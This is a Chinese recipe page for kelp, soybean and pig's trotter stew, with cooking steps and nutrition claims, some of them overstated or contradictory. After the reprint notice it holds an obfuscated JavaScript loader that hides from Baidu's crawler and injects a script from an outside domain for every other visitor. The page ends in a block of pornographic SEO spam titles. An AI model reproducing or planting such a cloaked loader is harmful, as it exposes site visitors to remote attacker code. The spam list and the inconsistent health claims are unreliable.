當(dāng)前位置:首頁 > 飲食 > 食物營養(yǎng) > 正文

海帶黃豆燉豬蹄的做法及營養(yǎng)

2017-07-11 12:47:46  來源:360常識網(wǎng)   熱度:
導(dǎo)語:飲食能對身體更好的進(jìn)行調(diào)整,海帶黃豆燉豬蹄就是我們經(jīng)常遲到的一種家常菜,它的營養(yǎng)價值非常額豐富,能起到很好的美容養(yǎng)顏的作用,并且對

飲食能對身體更好的進(jìn)行調(diào)整,海帶黃豆燉豬蹄就是我們經(jīng)常遲到的一種家常菜,它的營養(yǎng)價值非常額豐富,能起到很好的美容養(yǎng)顏的作用,并且對產(chǎn)后的女性還能起到恢復(fù)體力和下奶的作用,但是想要把它做的好吃營養(yǎng)一定要掌握好做法,下面一起了解下海帶黃豆燉豬蹄的做法及營養(yǎng)。

海帶黃豆燉豬蹄的做法及營養(yǎng)

做法一

1、準(zhǔn)備工作:干海帶放淘米水中泡發(fā),清洗去除沙粒和表面臟污,再用清水漂凈備用;黃豆提前泡發(fā)備用;豬蹄常溫解凍后洗凈備用。

2、鍋內(nèi)坐水,放花椒少許,生姜1塊拍碎,下切塊豬蹄,加入一勺料酒,煮至血腥浮沫起,撈出沖凈浮沫備用。

3、鍋內(nèi)注入少許油加熱,下姜片、蒜粒、花椒、八角、桂皮、草果、香葉,中小火煸香,加入1中的豬蹄翻炒,噴少許料酒,翻炒掂勻后,將所有材料倒入砂鍋。

4、砂鍋一次性加足清水,放入香葉及姜結(jié),大火煮開后,加入1中的黃豆,稍加攪拌均勻加蓋轉(zhuǎn)中小火燉煮(約需1個半鐘)。

5、將1中的海帶切條或切塊,豬蹄起鍋前30分鐘左右放入,與豬蹄、黃豆一同煨燉。

6、豬蹄煨燉到可用筷頭輕松戳透、骨肉易分時熄火,調(diào)入適量精鹽(海帶帶少許鹽味,要酌情加鹽),撒上少許蔥末即可。

豬蹄:豬蹄對于經(jīng)常四肢疲乏,腿部抽筋、麻木,消化道出血,失血性休克及缺血性腦病患者一定輔助療效,它還有助于青少年生長發(fā)育和減緩中老年婦女骨質(zhì)疏松的速度。適宜血虛者食用;適宜年老體弱者食用;適宜產(chǎn)后缺奶者食用;適宜腰腳軟弱無力者食用;適宜癰疽瘡毒久潰不斂者食用。

黃豆:其中的大豆蛋白質(zhì)和豆固醇能時顯地改善和降低血脂和膽固醇,從而降低患心血管疾病的概率。大豆脂肪富含不飽和脂肪酸和大豆磷脂,有保持血管彈性、健腦和防止脂肪肝形成的作用。

豬蹄+黃豆:黃豆膳食纖維中的醛糖酸殘基可與豬蹄中的礦物質(zhì)合成螯合物而干擾或降低人體對這些元素的吸收。

上面就是對海帶黃豆燉豬蹄的做法及營養(yǎng)的介紹,通過了解之后我們知道海帶黃豆燉豬蹄能很好的起到補(bǔ)鈣的作用,同時還能很好的提高身體的免疫力,并且我們自己動手制作能更好的保證豬蹄的衛(wèi)生干凈,并且也能很好的放松緊張的生活

轉(zhuǎn)載申明:360常識網(wǎng),歡迎分享,轉(zhuǎn)載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
国产精品高清一区二区三区| 国产精品自拍一区| 国产精品蜜臂在线观看| 久久亚洲AV无码精品色午夜麻| 精品69久久久久久99| 久久精品国产亚洲AV香蕉| 国产成人1024精品免费| 国产69精品久久久久APP下载| 精品国产美女福利到在线不卡| 国产高清在线精品二区| 2021国产精品露脸在线| 亚洲日韩精品A∨片无码| 国产中的精品一区的| 亚洲精品av无码喷奶水糖心| 无码人妻精品一区二区三区在线| 国产精品午夜福利在线无码| 午夜精品成人毛片| 精品久久久久久国产潘金莲| 亚洲AV永久无码精品成人| 国产伦精品一区二区三区视频猫咪 | 热99re久久精品2久久久| 久久久久99精品国产片| 国产亚洲精品免费视频播放| 国产精品国产午夜免费福利看| 999在线视频精品免费播放观看 | 国产亚洲精品免费| 久久精品日韩av无码| 精品一区二区三区在线播放视频| 国产精品毛片一区二区三区| 精品无码国产污污污免费网站国产 | 亚洲国产成人超福利久久精品| 久久国产免费观看精品| 久久九九久精品国产免费直播| 热99精品只有里视频最新| 精品国产香蕉伊思人在线又爽又黄 | 热99re久久免费视精品频软件| 自拍偷在线精品自拍偷99| 国产成人精品日本亚洲专| 麻豆文化传媒精品一区二区| 99精品国产在热久久婷婷| 国产精品美女久久久m|